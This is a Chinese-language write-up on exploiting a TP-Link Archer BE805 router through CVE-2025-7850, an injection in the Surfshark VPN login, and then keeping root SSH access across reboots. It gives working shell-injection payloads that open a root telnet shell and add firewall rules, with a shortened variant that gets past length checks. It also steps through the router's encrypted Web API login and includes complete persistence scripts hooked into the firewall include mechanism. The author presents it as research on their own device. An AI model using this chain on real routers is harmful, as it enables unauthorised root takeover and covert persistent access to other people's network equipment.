TP-Link Archer BE805:管理頁面注入到持久化 Root SSH

利用內建 VPN 憑證注入漏洞(CVE-2025-7850)取得 root shell,在不修改韌體的前提下,透過 UCI 防火牆 include 機制實現跨重啟的 SSH 持久化。本文記錄完整的探索過程與踩坑經驗。


一、目標設備

TP-Link Archer BE805 是一部 Wi-Fi 7(BE11000)三頻路由器,採用 MediaTek MT7988AV(Filogic 880)處理器。系統基於 OpenWrt 深度改造而成,但 TP-Link 進行了大量客製化,包括加密的 Web API、自訂的 dropbear SSH 以及獨有的配置持久化機制。

項目規格
SoCMediaTek MT7988AV (Filogic 880), aarch64
核心Linux 5.4.213
C 庫musl libc
BusyBoxv1.19.4
根檔案系統squashfs(唯讀)+ ramfs 覆蓋層
持久儲存UBIFS /tp_data(約 3.5MB 可用)
韌體版本1.2.2 Build 20250424 rel.45837

二、韌體偵察

使用 binwalk 解壓韌體,取得 squashfs 根目錄。以下是幾項關鍵發現。

掛載結構

這部路由器的檔案系統設計是理解整個攻擊面的關鍵:

# 唯讀:任何修改都不會生效
/dev/root on / type squashfs (ro,noatime)

# 可寫但揮發:重啟即失
none on /etc type ramfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)

# 持久可寫:重啟後仍在
ubi1:tp_data on /tp_data type ubifs (rw,relatime,sync)

換言之,/etc 中的所有內容——包括 rc.local、init 腳本、crontab——每次開機都會從 squashfs 重新生成。唯一能夠長期保留自訂檔案的位置是 /tp_data

TP-Link 客製化 dropbear

設備自帶的 SSH 伺服器是 dropbear 2019.78 的深度改造版本,與標準版本存在兩個關鍵差異:

  • -C 旗標:啟用「Web Server account login」模式,使用 Web 密碼 hash 驗證,而非標準的 /etc/shadow 機制
  • -L 旗標:啟用 SSH session login——但在 init 腳本中被註釋掉了

也就是說,即使 SSH daemon 正在運行,認證成功後也會收到 exec request failed on channel 0——因為缺少 -L 旗標,daemon 拒絕開啟 shell session。

配置持久化流程

開機時的配置還原流程如下:

開機 → squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI → init.d 啟動 → rc.local

loadconfig 是一個 Lua 腳本,調用 luci.sys.config.reloadconfig(),從加密的 user-config 二進制檔案讀取 UCI 配置寫入 /etc/config/saveconfig 則進行反向操作。關鍵在於:它只處理 UCI 配置,不會涉及 rc.local、crontab 或任何 UCI 以外的檔案。

三、漏洞利用:Surfshark VPN 憑證注入

CVE-2025-7850 的核心是 Surfshark VPN 登入處理中的命令注入漏洞。路由器的 Lua 後端在處理 VPN 憑證登入時,將用戶提交的密碼直接拼接進 curl 命令:

-- 虛擬碼,實際為編譯過的 Lua bytecode
cmd = string.format(
  "%s -w '\\n%%{http_code}' -m 5 --location "
  "'https://api.surfshark.com/v1/auth/login' "
  "--data '{\"identifier\":\"%s\",\"password\":\"%s\"}'",
  curl_path, username, password  -- password 未經過濾!
)
os.execute(cmd)

此處的 password 直接進入 shell 命令,未做任何 sanitization。攻擊者可以透過單引號截斷原有命令,注入任意指令。

注入載荷

路由器模式(完整載荷):

';/usr/sbin/telnetd -l /bin/sh -p 3922 -b 0.0.0.0; iptables -I INPUT -p tcp --dport 3922 -j ACCEPT; echo '

AP 模式(縮短載荷,繞過長度驗證):

';telnetd -l /bin/sh -p 3922;'

AP 模式注意事項:AP 模式下 VPN 端點存在密碼長度限制。完整載荷(約 97 字元)會觸發 invalid parameter 錯誤,縮短至約 30 字元即可通過驗證。AP 模式下防火牆默認 INPUT 策略為 ACCEPT,因此無需添加 iptables 規則。

注入成功後,一個綁定在 port 3922 的 root telnet shell 即時開啟。

四、Web API 加密協議

要觸發上述漏洞,首先需要通過 TP-Link 的 Web API 加密機制。整個通訊流程涉及 AES-128-CBC 與 RSA 混合加密。

認證流程

# 1. 取得密碼加密用的 RSA 公鑰
POST /login?form=keys    data=operation=read
→ {"data": {"password": [n_hex, e_hex]}}

# 2. 取得 session RSA 公鑰與序列號
POST /login?form=auth    data=operation=read
→ {"data": {"key": [session_n, session_e], "seq": 12345}}

# 3. 登入請求
# 內文使用自行生成的 AES key/iv 加密
# 簽名格式:k=<aes_key>&i=<aes_iv>&h=<md5_hash>&s=<seq+data_len>
# 簽名使用 session RSA 加密
hash = MD5("admin" + password)

# 4. 後續請求
# 簽名簡化為:h=<md5_hash>&s=<seq+data_len>
# 其中 seq 始終使用最初的 pre-login seq

seq 計算陷阱:每次請求的 s 值 = 原始 pre-login seq + 當前 AES 加密後數據的長度。這不是遞增序列號。許多嘗試失敗的原因就在於計算錯誤。此外,登入後絕不可重新抓取 auth 資料——否則會導致 session 失效。

五、建立標準 SSH 服務

取得 root telnet shell 後,下一步是建立正常的 SSH 服務。使用 TP-Link 自帶的 dropbear 行不通:

  • 密碼驗證邏輯已被修改,不使用 /etc/shadowcrypt()
  • -L 旗標被註釋,無法開啟 shell session
  • 即使加上 -L,密碼驗證依然無法正常運作

解決方案:安裝標準 dropbear

從 OpenWrt 官方倉庫下載同平台(aarch64_cortex-a53)的標準 dropbear v2022.82:

# 下載 ipk 包(只能使用 HTTP,路由器不信任 SSL 證書)
$ curl -o /tmp/db.ipk http://downloads.openwrt.org/releases/23.05.5/\
  targets/mediatek/filogic/packages/dropbear_2022.82-6_aarch64_cortex-a53.ipk

# 解壓並保存到持久儲存
$ cd /tmp && tar xzf db.ipk && tar xzf data.tar.gz
$ cp usr/sbin/dropbear /tp_data/dropbear_std
$ chmod +x /tp_data/dropbear_std

Multi-call binary 的陷阱

標準 dropbear 是一個 multi-call binary(dropbearmulti),與 BusyBox 類似,根據 argv[0](程式名稱)決定執行哪個功能。直接使用原始檔名運行只會顯示幫助信息:

$ /tp_data/dropbear_std -p 22 -R
Dropbear SSH multi-purpose v2022.82
Make a symlink pointing at this binary with one of the following names:
'dropbear' - the Dropbear server

需要建立一個名為 dropbear 的 symlink。值得注意的是,/tmp 掛載時帶有 nosuid,nodev 旗標,在某些情況下可能阻止執行。穩妥的做法是將 symlink 建立在 /tp_data/ 上:

$ ln -sf /tp_data/dropbear_std /tp_data/dropbear
$ /tp_data/dropbear -p 22 -R -B
# 成功啟動

設定 root 密碼

由於 /etc 是 ramfs,每次開機密碼都會重置。標準 dropbear 使用 musl 的 crypt() 函數驗證 /etc/shadow,因此需要使用 passwd 指令設定密碼:

$ sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
$ echo -e 'mypassword\nmypassword' | passwd root
Password for root changed by root

六、持久化:防火牆 Include 機制

這是整個項目最棘手的部分。所有 SSH 相關的設定(密碼、dropbear 進程、防火牆規則)都位於揮發性的 ramfs 上,重啟即歸零。

失敗的嘗試

方法結果原因
修改 rc.local失敗/etc 是 ramfs,重啟後重建
saveconfig 保存 rc.local失敗只保存 UCI 配置,不處理其他檔案
UCI cron 配置失敗不存在 UCI cron 配置
修改 squashfs未嘗試風險過高,可能導致變磚
OpenVPN script hook失敗相關選項已被註釋

突破口:防火牆 Include

在遍歷所有 UCI 配置後,發現防火牆的 config include 機制是唯一可以透過 UCI 觸發任意腳本執行的途徑。

OpenWrt 的防火牆框架在啟動時,會遍歷所有 config include 條目,source 對應的腳本:

# /lib/firewall/core_init.sh
fw_load_include() {
    local name="$1"
    local path
    config_get path ${name} path
    [ -e $path ] && (
        . $path   # 直接 source 腳本
    )
}

# /lib/firewall/core.sh 中調用:
config_foreach fw_load_include include

思路便十分清晰:

  1. /tp_data/ 建立觸發腳本(持久儲存)
  2. 透過 UCI 添加一個 config include 條目指向該腳本
  3. 使用 saveconfig 將 UCI 變更寫入 flash
  4. 開機時防火牆 init 會自動 source 該腳本

實作細節

觸發腳本/tp_data/fw_ssh.sh):

#!/bin/sh
# 使用 lock file 防止防火牆 reload 時重複觸發
[ -f /tmp/.ssh_setup_pending ] && return 0
touch /tmp/.ssh_setup_pending
(
    sleep 10
    [ -x /tp_data/ssh_setup.sh ] && /tp_data/ssh_setup.sh
    rm -f /tmp/.ssh_setup_pending
) &

延遲 10 秒再執行,以確保 init 流程(特別是 dropbear)已經完成。防火牆的 START=45 先於 dropbear 的 START=50,若直接執行會與自帶 dropbear 產生衝突。

SSH 設定腳本/tp_data/ssh_setup.sh):

#!/bin/sh
SSH_PORT=22
DBSTD=/tp_data/dropbear_std
DBLINK=/tp_data/dropbear

sleep 5
ln -sf $DBSTD $DBLINK                              # multi-call symlink
sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
echo -e 'mypassword\nmypassword' | passwd root >/dev/null 2>&1
mkdir -p /tmp/root_home
mount --bind /tmp/root_home /root 2>/dev/null       # /root 在 squashfs 上,需要覆蓋
mkdir -p /root/.ssh; chmod 700 /root/.ssh
[ -f /tp_data/authorized_keys ] && \
  cp /tp_data/authorized_keys /root/.ssh/authorized_keys
mkdir -p /etc/dropbear
# 只終止 port 22 上的 dropbear,保留其他端口的實例
for pid in $(ps w | grep "[d]ropbear" | grep " -p $SSH_PORT " \
  | awk '{print $1}'); do kill $pid 2>/dev/null; done
sleep 1
$DBLINK -p $SSH_PORT -R -B
iptables -C INPUT -p tcp --dport $SSH_PORT -j ACCEPT 2>/dev/null || \
  iptables -I INPUT -p tcp --dport $SSH_PORT -j ACCEPT

添加 UCI 條目並保存:

$ uci set firewall.ssh_setup=include
$ uci set firewall.ssh_setup.path=/tp_data/fw_ssh.sh
$ uci set firewall.ssh_setup.reload=1
$ uci commit firewall
$ lua -e 'require("luci.sys.config").saveconfig()'

七、AP 模式的陷阱

原以為大功告成,重啟後卻發現 SSH 完全無法連接。經調查後發現一個關鍵事實:

TP-Link 雙配置機制:路由器模式與 AP 模式使用完全獨立的 UCI 配置集saveconfig 只保存當前模式的配置。在路由器模式下添加的 firewall.ssh_setup 條目,切換到 AP 模式後完全不存在。

兩種模式的差異不止於此:

項目路由器模式AP 模式
IP 地址192.168.0.1(固定)由上游 DHCP 分配
防火牆 INPUTDROP(嚴格)ACCEPT(放通)
dropbear 端口2220001
VPN 功能完整可用密碼長度受限
exploit 載荷完整版(~97 字元)縮短版(~30 字元)
用戶列表root, adminroot, admin, sftpadmin, guest, visit

解決方案很直接:在兩種模式下都分別運行一次 UCI 添加與 saveconfig。由於防火牆 init 在 AP 模式下同樣會執行(從 iptables 規則可以確認),include 機制在兩種模式下都能正常觸發。

八、最終方案架構

持久化檔案全部存放在 /tp_data/(UBIFS flash,跨重啟保留):

/tp_data/
├── dropbear_std      # 標準 dropbear v2022.82 (263KB)
├── dropbear          # → dropbear_std 的 symlink
├── fw_ssh.sh         # 防火牆 include 觸發腳本
├── ssh_setup.sh      # SSH 完整設定腳本
└── authorized_keys   # SSH 公鑰(可選)

UCI 配置(持久化於加密 user-config):

firewall.ssh_setup=include
firewall.ssh_setup.path=/tp_data/fw_ssh.sh
firewall.ssh_setup.reload=1

開機時序

squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI
→ 防火牆 init (START=45) → fw_ssh.sh fork 後台任務
→ dropbear init (START=50) → ~10 秒後 ssh_setup.sh 執行 → SSH 就緒

最終效果:重啟後約 15 秒,標準 SSH 自動運行在 port 22。支持 root 密碼登入與公鑰認證。路由器模式與 AP 模式均可使用。無需修改韌體 squashfs,無 brick 風險。

九、攻擊鏈時序

Phase 1: 初始存取
┌─────────────────────────────────────┐
│  Web API Login (AES+RSA)                    │
│  ↓                                          │
│  Surfshark VPN 憑證注入 (CVE-2025-7850)     │
│  ↓                                          │
│  telnetd root shell (port 3922)             │
└─────────────────────────────────────┘

Phase 2: 能力提升
┌─────────────────────────────────────┐
│  下載標準 dropbear → /tp_data/              │
│  ↓                                          │
│  設定 root 密碼                             │
│  ↓                                          │
│  啟動 SSH (port 22)                         │
└─────────────────────────────────────┘

Phase 3: 持久化
┌─────────────────────────────────────┐
│  建立 fw_ssh.sh + ssh_setup.sh              │
│  ↓                                          │
│  UCI firewall include 條目                  │
│  ↓                                          │
│  saveconfig → 加密 user-config              │
│  ↓                                          │
│  在路由器模式與 AP 模式各保存一次           │
└─────────────────────────────────────┘

總結

本次研究的核心發現有三項:

  1. VPN 功能成為攻擊面——第三方 VPN 服務(Surfshark、NordVPN)的憑證處理代碼,因為將字串直接拼接進 shell 命令而產生注入漏洞。此類錯誤在嵌入式設備中依然常見。
  2. 「半 OpenWrt」比純 OpenWrt 更難對付——TP-Link 保留了 UCI 框架但大幅客製化了配置持久化、SSH 驗證與服務管理。熟悉 OpenWrt 不等於能夠直接應用既有經驗,每個機制都需要重新探索。
  3. 操作模式切換等於配置隔離——路由器模式與 AP 模式使用獨立的配置集,這一設計在持久化場景下是一個極易忽略的陷阱。

防火牆 include 機制之所以成為最終的持久化方案,是因為它同時滿足兩個條件:透過 UCI 管理(可以被 saveconfig 持久化)以及可以執行任意腳本。在這部路由器上,這是唯一同時滿足這兩個條件的機制。


本文僅供安全研究與教育用途。所有測試均在自有設備上進行。請遵守當地法律法規。